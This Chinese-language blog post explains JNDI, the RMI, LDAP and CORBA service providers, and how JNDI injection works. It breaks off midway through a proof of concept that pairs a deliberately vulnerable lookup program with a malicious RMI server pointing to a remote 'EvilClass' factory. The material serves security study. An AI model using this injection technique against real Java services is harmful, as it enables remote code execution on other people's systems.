JNDI 注入漏洞的前世今生
前兩天的 log4j 漏洞引起了安全圈的震動,雖然是二進制選手,但為了融入大家的過年氛圍,還是決定打破舒適圈來研究一下 JNDI 注入漏洞。

JNDI 101
首先第一個問題,什么是 JNDI,它的作用是什么?
根據(jù)官方文檔,JNDI 全稱為?Java Naming and Directory Interface,即 Java 名稱與目錄接口。雖然有點抽象,但我們至少知道它是一個接口;下一個問題是,Naming 和 Directory 是什么意思?很多相關資料都對其語焉不詳,但其實官方對其有詳細解釋。
Naming
直譯來說就是“名稱”,但更多情況下是與?Naming Service?一起使用。所謂名稱服務,簡單來說就是通過名稱查找實際對象的服務。這是個抽象概念,正如數(shù)學中的理論所言: 普適的代價就是抽象。名稱服務普遍存在于計算機系統(tǒng)中,比如:
?DNS: 通過域名查找實際的 IP 地址;?文件系統(tǒng): 通過文件名定位到具體的文件;?微信: 通過一個微信 ID 找到背后的實際用戶(并進行對話);?……
通常我們根據(jù)名稱系統(tǒng)(naming system)定義的命名規(guī)則去查找具體的對象,比如在 UNIX 文件系統(tǒng)中,名稱(路徑)規(guī)則就是以根目錄為起點,并以?/?號分隔逐級查找子目錄;DNS 名稱系統(tǒng)中則是要求名稱(域名)從右到左 進行逐級定義,并以點號?.?進行分隔。
其中另一個值得一提的名稱服務為 LDAP,全稱為?Lightweight Directory Access Protocol[1],即輕量級目錄訪問協(xié)議,其名稱也是從右到左進行逐級定義,各級以逗號分隔,每級為一個 name/value 對,以等號分隔。比如一個 LDAP 名稱如下:
cn=John,?o=Sun,?c=US即表示在 c=US 的子域中查找 o=Sun 的子域,再在結果中查找 cn=John 的對象。關于 LDAP 的詳細介紹見后文。
在名稱系統(tǒng)中,有幾個重要的概念。
Bindings: 表示一個名稱和對應對象的綁定關系,比如在文件系統(tǒng)中文件名綁定到對應的文件,在 DNS 中域名綁定到對應的 IP。
Context: 上下文,一個上下文中對應著一組名稱到對象的綁定關系,我們可以在指定上下文中查找名稱對應的對象。比如在文件系統(tǒng)中,一個目錄就是一個上下文,可以在該目錄中查找文件,其中子目錄也可以稱為子上下文 (subcontext)。
References: 在一個實際的名稱服務中,有些對象可能無法直接存儲在系統(tǒng)內(nèi),這時它們便以引用的形式進行存儲,可以理解為 C/C++ 中的指針。引用中包含了獲取實際對象所需的信息,甚至對象的實際狀態(tài)。比如文件系統(tǒng)中實際根據(jù)名稱打開的文件是一個整數(shù) fd (file descriptor),這就是一個引用,內(nèi)核根據(jù)這個引用值去找到磁盤中的對應位置和讀寫偏移。
Directory
名稱服務還算比較好理解,那目錄服務又是什么呢?簡單來說,目錄服務是名稱服務的一種拓展,除了名稱服務中已有的名稱到對象的關聯(lián)信息外,還允許對象擁有屬性(attributes)信息。由此,我們不僅可以根據(jù)名稱去查找(lookup)對象(并獲取其對應屬性),還可以根據(jù)屬性值去搜索(search)對象。
以打印機服務為例,我們可以在命名服務中根據(jù)打印機名稱去獲取打印機對象(引用),然后進行打印操作;同時打印機擁有速率、分辨率、顏色等屬性,作為目錄服務,用戶可以根據(jù)打印機的分辨率去搜索對應的打印機對象。
目錄服務(Directory Service)提供了對目錄中對象(directory objects)的屬性進行增刪改查的操作。一些典型的目錄服務有:
?NIS: Network Information Service,Solaris 系統(tǒng)中用于查找系統(tǒng)相關信息的目錄服務;?Active Directory[2]: 為 Windows 域網(wǎng)絡設計,包含多個目錄服務,比如域名服務、證書服務等;?其他基于 LDAP 協(xié)議實現(xiàn)的目錄服務;
總而言之,目錄服務也是一種特殊的名稱服務,關鍵區(qū)別是在目錄服務中通常使用搜索(search)操作去定位對象,而不是簡單的根據(jù)名稱查找(lookup)去定位。
在下文中如果沒有特殊指明,都會將名稱服務與目錄服務統(tǒng)稱為目錄服務。
API
根據(jù)上面的介紹,我們知道目錄服務是中心化網(wǎng)絡應用的一個重要組件。使用目錄服務可以簡化應用中服務管理驗證邏輯,集中存儲共享信息。在 Java 應用中除了以常規(guī)方式使用名稱服務(比如使用 DNS 解析域名),另一個常見的用法是使用目錄服務作為對象存儲的系統(tǒng),即用目錄服務來存儲和獲取 Java 對象。
比如對于打印機服務,我們可以通過在目錄服務中查找打印機,并獲得一個打印機對象,基于這個 Java 對象進行實際的打印操作。
為此,就有了 JNDI,即 Java 的名稱與目錄服務接口,應用通過該接口與具體的目錄服務進行交互。從設計上,JNDI 獨立于具體的目錄服務實現(xiàn),因此可以針對不同的目錄服務提供統(tǒng)一的操作接口。
JNDI 架構上主要包含兩個部分,即 Java 的應用層接口和 SPI,如下圖所示:

SPI 全稱為 Service Provider Interface,即服務供應接口,主要作用是為底層的具體目錄服務提供統(tǒng)一接口,從而實現(xiàn)目錄服務的可插拔式安裝。在 JDK 中包含了下述內(nèi)置的目錄服務:
?RMI: Java Remote Method Invocation,Java 遠程方法調(diào)用;?LDAP: 輕量級目錄訪問協(xié)議;?CORBA: Common Object Request Broker Architecture,通用對象請求代理架構,用于 COS 名稱服務(Common Object Services);
除此之外,用戶還可以在 Java 官網(wǎng)下載其他目錄服務實現(xiàn)。由于 SPI 的統(tǒng)一接口,廠商也可以提供自己的私有目錄服務實現(xiàn),用戶可無需重復修改代碼。
JNDI 接口主要分為下述 5 個包:
?javax.naming[3]?javax.naming.directory[4]?javax.naming.event[5]?javax.naming.ldap[6]?javax.naming.spi[7]
其中最重要的是?javax.naming?包,包含了訪問目錄服務所需的類和接口,比如 Context、Bindings、References、lookup 等。以上述打印機服務為例,通過 JNDI 接口,用戶可以透明地調(diào)用遠程打印服務,偽代碼如下所示:
Context?ctx?=?new?InitialContext(env);
Printer?printer?=?(Printer)ctx.lookup("myprinter");
printer.print(report);為了更好理解 JNDI,我們需要了解其背后的服務提供者(Service Provider),這些目錄服務本身和 JNDI 有沒直接耦合性,但基于 SPI 接口和 JNDI 構建起了重要的聯(lián)系。
SPI
本節(jié)主要介紹在 JDK 中內(nèi)置的幾個 Service Provider,分別是 RMI、LDAP 和 CORBA。這幾個服務本身和 JNDI 沒有直接的依賴,而是通過 SPI 接口實現(xiàn)了聯(lián)系,因此本節(jié)先脫離 JNDI 對這些服務進行簡單介紹。
RMI
第一個就是 RMI,即 [Remote Method Invocation,Java 的遠程方法調(diào)用。RMI 為應用提供了遠程調(diào)用的接口,可以理解為 Java 自帶的 RPC 框架。
一個簡單的 RMI?hello world?主要由三部分組成,分別是接口、服務端和客戶端。
接口定義:
import?java.rmi.Remote;
import?java.rmi.RemoteException;
public?interface?Hello?extends?Remote?{
????String?sayHello()?throws?RemoteException;
}這里定義一個名為 Hello 的接口,其中包含一個方法。
服務端:
import?java.rmi.registry.Registry;
import?java.rmi.registry.LocateRegistry;
import?java.rmi.RemoteException;
import?java.rmi.server.UnicastRemoteObject;
????????
public?class?Server?implements?Hello?{
????????
????public?Server()?{}
????public?String?sayHello()?{
????????return?"Hello,?world!";
????}
????????
????public?static?void?main(String?args[])?{
????????
????????try?{
????????????Server?obj?=?new?Server();
????????????Hello?stub?=?(Hello)?UnicastRemoteObject.exportObject(obj,?1098);
????????????//?Bind?the?remote?object's?stub?in?the?registry
????????????Registry?registry?=?LocateRegistry.getRegistry(1099);
????????????registry.bind("Hello",?stub);
????????????System.err.println("Server?ready");
????????}?catch?(Exception?e)?{
????????????System.err.println("Server?exception:?"?+?e.toString());
????????????e.printStackTrace();
????????}
????}
}服務端有兩個作用,一方面是實現(xiàn)?Hello?接口,另一方面是通過 RMI Registry 注冊當前的實現(xiàn)。其中涉及到兩個端口,1098 表示當前對象的 stub 端口,可以用 0 表示隨機選擇;另外一個是 1099 端口,表示 rmiregistry 的監(jiān)聽端口,后面會講到。
客戶端代碼如下:
import?java.rmi.registry.LocateRegistry;
import?java.rmi.registry.Registry;
public?class?Client?{
????private?Client()?{}
????public?static?void?main(String[]?args)?{
????????try?{
????????????Registry?registry?=?LocateRegistry.getRegistry(1099);
????????????Hello?stub?=?(Hello)?registry.lookup("Hello");
????????????String?response?=?stub.sayHello();
????????????System.out.println("response:?"?+?response);
????????}?catch?(Exception?e)?{
????????????System.err.println("Client?exception:?"?+?e.toString());
????????????e.printStackTrace();
????????}
????}
}通過?registry.lookup?獲取其中的?Hello?對象,從而進行遠程調(diào)用。
編譯:
javac?-d?out?Client.java??Hello.java??Server.java生成?out/{Client,Hello,Server}.class?文件。在啟動服務端之前,我們需要先啟動 registry:
$?cd?out
$?rmiregistry?1099個人理解?registry?類似于服務注冊窗口,通過這個窗口 RMI 服務器可以注冊自己的服務器到全局注冊表中,客戶端可以從而查詢獲取所有已經(jīng)注冊的服務提供商并進行具體的遠程調(diào)用。啟動 registry 后其運行于 1099 端口,隨后啟動 RMI 服務器進行注冊并運行:
#?回到工程所在路徑
$?java?-cp?out?Server
Server?readyRMI 服務注冊并啟動后,同時會監(jiān)聽在 1098 端口,也就是我們前面綁定的端口,用于客戶端調(diào)用具體方法(如 sayHello)時實際傳輸數(shù)據(jù)到服務端。
最后啟動客戶端進行查詢并遠程調(diào)用:
$?java?-cp?out?Client
response:?Hello,?world!需要注意的點:
?rmiregistry 程序運行在 out 目錄下,也就是我們編譯的輸出路徑;?rmiregistry 啟動后可能會過一段時間后才真正開始監(jiān)聽端口;?如果 Server 綁定后退出,那么綁定信息仍然殘留在 rmiregistry 中,再次綁定會提示?java.rmi.AlreadyBoundException,因此 RMI 服務端退出前應該先解除綁定;?遠程調(diào)用的參數(shù)和返回值經(jīng)過序列化后通過網(wǎng)絡傳輸(marshals/unmarshals)。
拓展閱讀:
?Java? Remote Method Invocation API[8]?Getting Started Using Java? RMI[9]
LDAP
LDAP 既是一類服務,也是一種協(xié)議,定義在?RFC2251[10](RFC4511[11]) 中,是早期 X.500 DAP (目錄訪問協(xié)議) 的一個子集,因此有時也被稱為?X.500-lite。
LDAP Directory 作為一種目錄服務,主要用于帶有條件限制的對象查詢和搜索。目錄服務作為一種特殊的數(shù)據(jù)庫,用來保存描述性的、基于屬性的詳細信息。和傳統(tǒng)數(shù)據(jù)庫相比,最大的不同在于目錄服務中數(shù)據(jù)的組織方式,它是一種有層次的樹形結構,因此它有優(yōu)異的讀性能,但寫性能較差,并且沒有事務處理、回滾等復雜功能,不適于存儲修改頻繁的數(shù)據(jù)。
LDAP 的請求和響應是?ASN.1?格式,使用二進制的 BER 編碼,操作類型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了這些常規(guī)的增刪改查操作,同時也包含一些拓展的操作類型和異步通知事件。
完整的協(xié)議介紹可以參考對應的 RFC 文檔,我們這里直接通過抓包去直觀的感受 LDAP 請求數(shù)據(jù):

上述截圖包含了客戶端對于 LDAP 服務端的兩次請求,一次綁定操作和一次搜索操作,其中搜索操作返回了兩個?LDAPMessage,后一個類型為 searchResDone,標記著搜索結果的結尾,這意味著一般搜索請求可能會返回多個匹配的結果。
搜索請求使用 Python 編寫,表示在 DN 為?dc=example,dc=org?的子目錄(稱為 baseObject) 中過濾搜索?cn=bob?的對象,最終返回匹配記錄項。
@defer.inlineCallbacks
def?onConnect(client):
????#?The?following?arguments?may?be?also?specified?as?unicode?strings
????#?but?it?is?recommended?to?use?byte?strings?for?ldaptor?objects
????basedn?=?b"dc=example,dc=org"
????binddn?=?b"cn=bob,ou=people,dc=example,dc=org"
????bindpw?=?b"secret"
????query?=?b"(cn=bob)"
????try:
????????yield?client.bind(binddn,?bindpw)
????except?Exception?as?ex:
????????print(ex)
????????raise
????o?=?LDAPEntry(client,?basedn)
????results?=?yield?o.search(filterText=query)
????for?entry?in?results:
????????print(entry.getLDIF())上述指定的過濾項稱為屬性,LDAP 中常見的屬性定義如下:
String??X.500?AttributeType
------------------------------
CN??????commonName
L???????localityName
ST??????stateOrProvinceName
O???????organizationName
OU??????organizationalUnitName
C???????countryName
STREET??streetAddress
DC??????domainComponent
UID?????userid見:?LDAP v3: UTF-8 String Representation of Distinguished Names (RFC2253)[12]
其中值得注意的是:
?DC: Domain Component,組成域名的部分,比如域名?evilpan.com?的一條記錄可以表示為?dc=evilpan,dc=com,從右至左逐級定義;?DN: Distinguished Name,由一系列屬性(從右至左)逐級定義的,表示指定對象的唯一名稱;
DN 的 ASN.1 描述為:
DistinguishedName?::=?RDNSequence
RDNSequence?::=?SEQUENCE?OF?RelativeDistinguishedName
RelativeDistinguishedName?::=?SET?SIZE?(1..MAX)?OF
AttributeTypeAndValue
AttributeTypeAndValue?::=?SEQUENCE?{
type??AttributeType,
value?AttributeValue?}這也是前文所說的,屬性 type 和 value 使用等號分隔,每個屬性使用逗號分隔。至于其他屬性可以根據(jù)開發(fā)者的設計自行添加,比如對于企業(yè)人員的記錄可以添加工號、郵箱等屬性。
另外,由于 LDAP 協(xié)議的記錄為 DER 編碼不易于閱讀,可以使用?LDIF(LDAP Data Interchange Format)[13]?文本格式進行表示,通常用于 LDAP 記錄(數(shù)據(jù)庫)的導出和導出。
CORBA
CORBA 是一個由 Object Management Group (OMG) 定義的標準。在分布式計算的概念中,ORB(Object Request Broker)[14]?表示用于分布式環(huán)境中遠程調(diào)用的中間件。聽起來有點拗口,其實就是早期的一個 RPC 標準,ORB 在客戶端負責接管調(diào)用并請求服務端,在服務端負責接收請求并將結果返回。
CORBA 使用接口定義語言(IDL) 去表述對象的對外接口,編譯生成的 stub code 支持 Ada、C/C++、Java、COBOL 等多種語言。其調(diào)用架構如下圖所示:

CORBA 標準中定義了詳細的接口模型、時序、事務處理、事件以及接口模型等信息,對其完整介紹超出了本文的范疇,我們直接從開發(fā)者的角度去進行實際的分析。
以實際的?Hello World?程序來看,一個簡單的 CORBA 用戶程序由三部分組成,分別是 IDL、客戶端和服務端:
第一部分是 IDL 代碼:
module?HelloApp
{
??interface?Hello
??{
??string?sayHello();
??oneway?void?shutdown();
??};
};使用?idl?編譯器去編譯 IDL 代碼并生成實際的代碼,這里以 Java 代碼為例,使用?idlj?進行編譯:
$?idlj?-fall?Hello.idl-fall?表示同時生成客戶端和服務端的代碼,生成后的文件在 HelloApp 目錄下。
根據(jù)這些生成的代碼,我們可以編寫自己的客戶端和服務端,先看服務端:
//?HelloServer.java
import?HelloApp.*;
import?org.omg.CosNaming.*;
import?org.omg.CosNaming.NamingContextPackage.*;
import?org.omg.CORBA.*;
import?org.omg.PortableServer.*;
import?org.omg.PortableServer.POA;
import?java.util.Properties;
class?HelloImpl?extends?HelloPOA?{
????
??public?String?sayHello()?{
????return?"Hello?from?server";
??}
??public?void?shutdown()?{
??????System.out.println("shutdown");
??}
}
public?class?HelloServer?{
??public?static?void?main(String?args[])?{
????try{
??????//?create?and?initialize?the?ORB
??????ORB?orb?=?ORB.init(args,?null);
??????//?get?reference?to?rootpoa?&?activate?the?POAManager
??????POA?rootpoa?=?POAHelper.narrow(orb.resolve_initial_references("RootPOA"));
??????rootpoa.the_POAManager().activate();
??????//?create?servant
??????HelloImpl?helloImpl?=?new?HelloImpl();
??????//?get?object?reference?from?the?servant
??????org.omg.CORBA.Object?ref?=?rootpoa.servant_to_reference(helloImpl);
??????Hello?href?=?HelloHelper.narrow(ref);
??????????
??????//?get?the?root?naming?context
??????//?NameService?invokes?the?name?service
??????org.omg.CORBA.Object?objRef?=
??????????orb.resolve_initial_references("NameService");
??????//?Use?NamingContextExt?which?is?part?of?the?Interoperable
??????//?Naming?Service?(INS)?specification.
??????NamingContextExt?ncRef?=?NamingContextExtHelper.narrow(objRef);
??????//?bind?the?Object?Reference?in?Naming
??????String?name?=?"Hello";
??????NameComponent?path[]?=?ncRef.to_name(?name?);
??????ncRef.rebind(path,?href);
??????System.out.println("HelloServer?ready?and?waiting?...");
??????//?wait?for?invocations?from?clients
??????orb.run();
????}?
????????
??????catch?(Exception?e)?{
????????System.err.println("ERROR:?"?+?e);
????????e.printStackTrace(System.out);
??????}
??????????
??????System.out.println("HelloServer?Exiting?...");
????????
??}
}服務端主要做幾件事:
1.實現(xiàn) HelloPOA 的接口,也就是我們之前在 IDL 中定義的接口;2.根據(jù)參數(shù)初始化 ORB 對象,這一步會通過網(wǎng)絡連接 ORB 服務器,后面會講到;3.將本地實現(xiàn)的 Hello Impl 類轉(zhuǎn)化為引用并綁定到 ORB 服務器對應?Hello?的名稱中;4.循環(huán)等待客戶端調(diào)用;
接著我們看客戶端的代碼:
import?HelloApp.*;
import?org.omg.CosNaming.*;
import?org.omg.CosNaming.NamingContextPackage.*;
import?org.omg.CORBA.*;
public?class?HelloClient
{
??static?Hello?helloImpl;
??public?static?void?main(String?args[])
????{
??????try{
????????//?create?and?initialize?the?ORB
????????ORB?orb?=?ORB.init(args,?null);
????????//?get?the?root?naming?context
????????org.omg.CORBA.Object?objRef?=?
????????????orb.resolve_initial_references("NameService");
????????//?Use?NamingContextExt?instead?of?NamingContext.?This?is?
????????//?part?of?the?Interoperable?naming?Service.??
????????NamingContextExt?ncRef?=?NamingContextExtHelper.narrow(objRef);
?
????????//?resolve?the?Object?Reference?in?Naming
????????String?name?=?"Hello";
????????helloImpl?=?HelloHelper.narrow(ncRef.resolve_str(name));
????????System.out.println("Obtained?a?handle?on?server?object:?"?+?helloImpl);
????????System.out.println(helloImpl.sayHello());
????????helloImpl.shutdown();
????????}?catch?(Exception?e)?{
??????????System.out.println("ERROR?:?"?+?e)?;
??????????e.printStackTrace(System.out);
????????}
????}
}主要操作為:
1.通過命令行參數(shù)去初始化 ORB 對象,這個和服務端一致,也會連接到 ORB 服務器;2.在 ORB 服務中查找(解析)名稱 Hello,并通過?HelloHelper.narrow?轉(zhuǎn)換為 Hello 對象;3.通過獲得的 Hello 對象發(fā)起真正的遠程調(diào)用;
客戶端和服務器在啟動前都會連接 ORB 服務器,這可以看做是一個集中化的目錄服務器,服務端連接后在上面注冊自身的服務廣而告之,客戶端連接后查找想要的服務并進行調(diào)用。實際啟動該服務器的命令如下,監(jiān)聽在 1050 端口:
orbd?-ORBInitialPort?1050編譯好客戶端和服務端代碼后,先啟動服務端,指定用于連接 orbd 的參數(shù):
java?HelloServer?-ORBInitialPort?1050?-ORBInitialHost?localhost客戶端的啟動也是類似:
java?HelloClient?-ORBInitialPort?1050?-ORBInitialHost?localhost客戶端的運行輸出如下:
Obtained?a?handle?on?server?object:?IOR:000000000000001749444c3a48656c6c6f4170702f48656c6c6f3a312e300000000000010000000000000082000102000000000a3132372e302e302e3100e4d000000031afabcb0000000020b296da9800000001000000000000000100000008526f6f74504f410000000008000000010000000014000000000000020000000100000020000000000001000100000002050100010001002000010109000000010001010000000026000000020002
Hello?from?server在 wireshark 中查看對應的流量:

流量主要分為兩個部分,id 為 23 及其之前的為服務端啟動的流量,后面的是客戶端的啟動以及請求流量。通用的部分為?op=get?和?op=_is_a,在解析 ORB 類參數(shù)并連接?orbd?時觸發(fā)。
服務端注冊并綁定自身服務通過:
?op=to_name: 由?ncRef.to_name(name);?觸發(fā),將字符串名稱轉(zhuǎn)換為?NameComponent?對象;?op=rebind: 由?ncRef.rebind(path, href)?觸發(fā),將本地的對象綁定到目錄服務中;
客戶端查詢服務并進行調(diào)用:
?op=resolve_str: 由于?ncRef.resolve_str(name)?觸發(fā),根據(jù)字符串查詢服務并轉(zhuǎn)換為本地可調(diào)用的對象;?op=sayHello/shutdown: 發(fā)起實際的 RPC 調(diào)用;
這里有一個關鍵點是在服務端?to_name?的請求所對應的響應中,返回的是 IOR 結構對象,即上圖高亮的部分。這個結構中包含了遠程類的實現(xiàn)代碼,在上面客戶端的輸出中,返回的 helloImpl 打印出來也是 **IOR:000000000000001749444c3a48...**,正是?resolve_str?的返回,和服務端?rebind?的返回結果是一致的。
IOR?的全稱是?Interoperable Object Reference,即可互操作對象引用,其中包含了用于構建遠程對象所需的必要字段,比如遠程 IIOP 地址、端口信息(這個端口不是 1050,而是動態(tài)生成的)等。
其他一些常見的名詞解釋如下:
?Stub: 由 IDL 編譯而成的客戶端模板代碼,開發(fā)者通過調(diào)用這些代碼來實現(xiàn) RPC 功能;?POA:?Portable Object Adapter[15],可拓展對象適配器,簡單來就是 IDL 編譯而成的服務端模板代碼,開發(fā)者通過繼承去實現(xiàn)對應的接口來實現(xiàn) RPC 的服務端功能,參考上面代碼中的?HelloPOA;?GIOP: General Inter-ORB Protocol,ORB 互傳協(xié)議,是一類抽象協(xié)議,指定轉(zhuǎn)換語法和消息格式的標準集;?IIOP: Internet Inter-ORB Protocol,ORB 網(wǎng)間傳輸協(xié)議,是 GIOP 在互聯(lián)網(wǎng)(TCP/IP)的特化實現(xiàn);?RMI-IIOP: RMI over IIOP,由于 RMI 也是 Java 中常用的遠程調(diào)用框架,因此 Sun 公司提供了針對這二者的一種映射,讓使用 RMI 的程序也能適用于 IIOP 的協(xié)議;
拓展閱讀:
?Common Object Request Broker Architecture[16]?Java IDL: The "Hello World" Example[17]?Java CORBA - Seebug[18]
JNDI 注入
背景知識總算介紹完了,接下來開始深入 JNDI 注入的原理。從上面介紹的三個 Service Provider 我們可以看到,除了 RMI 是 Java 特有的遠程調(diào)用框架,其他兩個都是通用的服務和標準,可以脫離 Java 獨立使用。JNDI 就是在這個基礎上提供了統(tǒng)一的接口,來方便調(diào)用各種服務。
Normal JNDI
一個簡單的客戶端示例程序如下,使用 JNDI 接口去查詢 DNS 服務:
//?DNSClient.java
import?javax.naming.Context;
import?javax.naming.NamingException;
import?javax.naming.directory.*;
import?java.util.Hashtable;
public?class?DNSClient?{
????public?static?void?main(String[]?args)?{
????????Hashtable?env?=?new?Hashtable<>();
????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.dns.DnsContextFactory");
????????env.put(Context.PROVIDER_URL,?"dns://114.114.114.114");
????????try?{
????????????DirContext?ctx?=?new?InitialDirContext(env);
????????????Attributes?res?=?ctx.getAttributes("example.com",?new?String[]?{"A"});
????????????System.out.println(res);
????????}?catch?(NamingException?e)?{
????????????e.printStackTrace();
????????}
????}
} 編譯輸出:
$?javac?DNSClient.java
$?java?DNSClient
{a=A:?93.184.216.34}對于其他協(xié)議的調(diào)用也是類似,比如基于我們前面編寫的 LDAP 服務器,使用 JNDI 去進行查詢的代碼如下:
public?class?Client?{
????public?static?void?main(String[]?args)?{
????????Hashtable?env?=?new?Hashtable<>();
????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.ldap.LdapCtxFactory");
????????env.put(Context.PROVIDER_URL,?"ldap://localhost:8080");
????????try?{
????????????DirContext?ctx?=?new?InitialDirContext(env);
????????????DirContext?lookCtx?=?(DirContext)ctx.lookup("cn=bob,ou=people,dc=example,dc=org");
????????????Attributes?res?=?lookCtx.getAttributes("");
????????????System.out.println(res);
????????}?catch?(NamingException?e)?{
????????????e.printStackTrace();
????????}
????}
} 輸出:
$?java?LDAPClient
{mail=mail:[email protected],?userpassword=userPassword:?[B@c038203,?objectclass=objectClass:?inetOrgPerson,?person,?top,?gn=gn:?Bob,?sn=sn:?Roberts,?cn=cn:?bob}動態(tài)協(xié)議切換
前面我們看到初始化 JNDI 上下文主要使用環(huán)境變量實現(xiàn):
?INITIAL_CONTEXT_FACTORY: 指定初始化協(xié)議的工廠類;?PROVIDER_URL: 指定對應名稱服務的 URL 地址;
但是,實際上在 Context.lookup 方法的參數(shù)中,用戶可以指定自己的查找協(xié)議,我們來看下面的代碼:
public?class?JNDIDynamic?{
????public?static?void?main(String[]?args)?{
????????if?(args.length?!=?1)?{
????????????System.out.println("Usage:?lookup?" );
????????????return;
????????}
????????Hashtable?env?=?new?Hashtable<>();
????????env.put(Context.INITIAL_CONTEXT_FACTORY,?"com.sun.jndi.dns.DnsContextFactory");
????????env.put(Context.PROVIDER_URL,?"dns://114.114.114.114");
????????try?{
????????????DirContext?ctx?=?new?InitialDirContext(env);
????????????DirContext?lookCtx?=?(DirContext)ctx.lookup(args[0]);
????????????Attributes?res?=?lookCtx.getAttributes("",?new?String[]{"A"});
????????????System.out.println(res);
????????}?catch?(NamingException?e)?{
????????????e.printStackTrace();
????????}
????}
} 意圖很簡單,想通過用戶的輸入去查找對應域名:
$?javac?JNDIDynamic.java
$?java?JNDIDynamic
Usage:?lookup?
$?java?JNDIDynamic?douban.com
{a=A:?140.143.177.206,?49.233.242.15,?81.70.124.99}但是,我們也可以通過指定的查找參數(shù)去切換查找協(xié)議:
$?java?JNDIDynamic?"ldap://localhost:8080/cn=evilpan"
javax.naming.NameNotFoundException:?[LDAP:?error?code?32?-?No?Such?Object];?remaining?name?'cn=evilpan'
????at?java.naming/com.sun.jndi.ldap.LdapCtx.mapErrorCode(LdapCtx.java:3183)
????at?java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:3104)
????at?java.naming/com.sun.jndi.ldap.LdapCtx.processReturnCode(LdapCtx.java:2895)
????at?java.naming/com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1034)
????at?java.naming/com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
????at?java.naming/com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
????at?java.naming/com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:207)
????at?java.naming/com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
????at?java.naming/javax.naming.InitialContext.lookup(InitialContext.java:409)
????at?JNDIDynamic.main(JNDIDynamic.java:18)此時我們的 LDAP 服務端已經(jīng)收到了查詢請求:
$?./server.py
2021-12-13?19:50:08+0800?[-]?Log?opened.
2021-12-13?19:50:08+0800?[-]?LDAPServerFactory?starting?on?8080
2021-12-13?19:50:08+0800?[-]?Starting?factory?<__main__.LDAPServerFactory?object?at?0x10e552dc0>
2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=1,?value=LDAPBindRequest(version=3,?dn=b'',?auth='',?sasl=False),?controls=None)
2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S->C?LDAPMessage(id=1,?value=LDAPBindResponse(resultCode=0),?controls=None)
2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=2,?value=LDAPSearchRequest(baseObject=b'cn=evilpan',?scope=0,?derefAliases=3,?sizeLimit=0,?timeLimit=0,?typesOnly=0,?filter=LDAPFilter_present(value=b'objectClass'),?attributes=[]),?controls=[(b'2.16.840.1.113730.3.4.2',?None,?None)])
2021-12-13?19:50:09+0800?[LDAPServer,0,127.0.0.1]?S->C?LDAPMessage(id=2,?value=LDAPSearchResultDone(resultCode=32),?controls=None)
2021-12-13?19:50:10+0800?[LDAPServer,0,127.0.0.1]?S<-C?LDAPMessage(id=3,?value=LDAPUnbindRequest(),?controls=[(b'2.16.840.1.113730.3.4.2',?None,?None)])這就是?JNDI 注入?的根源所在。通過精心構造服務端的返回,我們可以讓請求查找的客戶端解析遠程代碼,最終實現(xiàn)遠程命令執(zhí)行。JDK 中默認支持的 JNDI 自動協(xié)議轉(zhuǎn)換以及對應的工廠類如下所示:
| 協(xié)議 | schema | Context |
| DNS | dns:// | com.sun.jndi.url.dns.dnsURLContext |
| RMI | rmi:// | com.sun.jndi.url.rmi.rmiURLContext |
| LDAP | ldap:// | com.sun.jndi.url.ldap.ldapURLContext |
| LDAP | ldaps:// | com.sun.jndi.url.ldaps.ldapsURLContextFactory |
| IIOP | iiop:// | com.sun.jndi.url.iiop.iiopURLContext |
| IIOP | iiopname:// | com.sun.jndi.url.iiopname.iiopnameURLContextFactory |
| IIOP | corbaname:// | com.sun.jndi.url.corbaname.corbanameURLContextFactory |
漏洞利用
根據(jù)上節(jié)介紹,基于 JNDI Context 的查找內(nèi)容如果用戶可控,就存在 JNDI 注入的可能,那注入后如何獲得最終的代碼執(zhí)行權限呢?對于不同的內(nèi)置目錄服務有不同的攻擊面,下面分別進行介紹。
為了簡化代碼,我們假定帶有漏洞的程序如下:
import?javax.naming.InitialContext;
import?javax.naming.NamingException;
import?javax.naming.directory.*;
import?java.util.Hashtable;
public?class?JNDILookup?{
????public?static?void?main(String[]?args)?{
????????if?(args.length?!=?1)?{
????????????System.out.println("Usage:?lookup?" );
????????????return;
????????}
????????try?{
????????????Object?ret?=?new?InitialContext().lookup(args[0]);
????????????System.out.println("ret:?"?+?ret);
????????}?catch?(NamingException?e)?{
????????????e.printStackTrace();
????????}
????}
}RMI
本節(jié)主要分析 JNDI 在使用 RMI 協(xié)議時面臨的攻擊面。
Remote Class
在前面的 SPI 一節(jié)我們介紹的 RMI 的基本用法,服務端可以綁定一個對象,在客戶端進行查找的時候以序列化方式返回;同時,我們也可以綁定一個對象的引用,讓客戶端去指定地址獲取對象。
例如,我們編寫程序注冊一個惡意的 RMI 服務:
public?class?ServerExp?{
????????
????public?static?void?main(String?args[])?{
????????
????????try?{
????????????Registry?registry?=?LocateRegistry.getRegistry(1099);
????????????String?factoryUrl?=?"http://localhost:5000/";
????????????Reference?reference?=?new?Reference("EvilClass","EvilClass",?factoryUrl);
????????????ReferenceWrapper?wrapper?=?new?ReferenceWrapper(reference);
????????????registry.bind("Foo",?wrapper);
????????????System.err.println("Server?ready,?factoryUrl:"?+?factoryUrl);
????????}?catch?(Exception?e)?{
????????????System.err.println("Server?exception:?"?+?e.toString());
????????????e.printStackTrace();
????????}
????}
}這里使用的是 JDK 1.8.0-181,com.sun.jndi.rmi.registry.ReferenceWrapper 在新版本的 JDK 中被移除,需要額外引入對應 jar 包。
其中將 Foo 名稱綁定為 EvilClass 的引用,并指定引用的地址為?http://localhost:5000,EvilClass 的定義為:
import?javax.naming.Context;
import?javax.naming.Name;
import?javax.naming.spi.ObjectFactory;
import?java.util.Hashtable;
public?class?EvilClass?implements?ObjectFactory?{
????static?void?log(String?key)?{
????????try?{
????????????System.out.println("EvilClass:?"?+?key);
????????}?catch?(Exception?e)?{
????????????//?do?nothing
????????}
????}
????{
????????EvilClass.log("IIB?block");
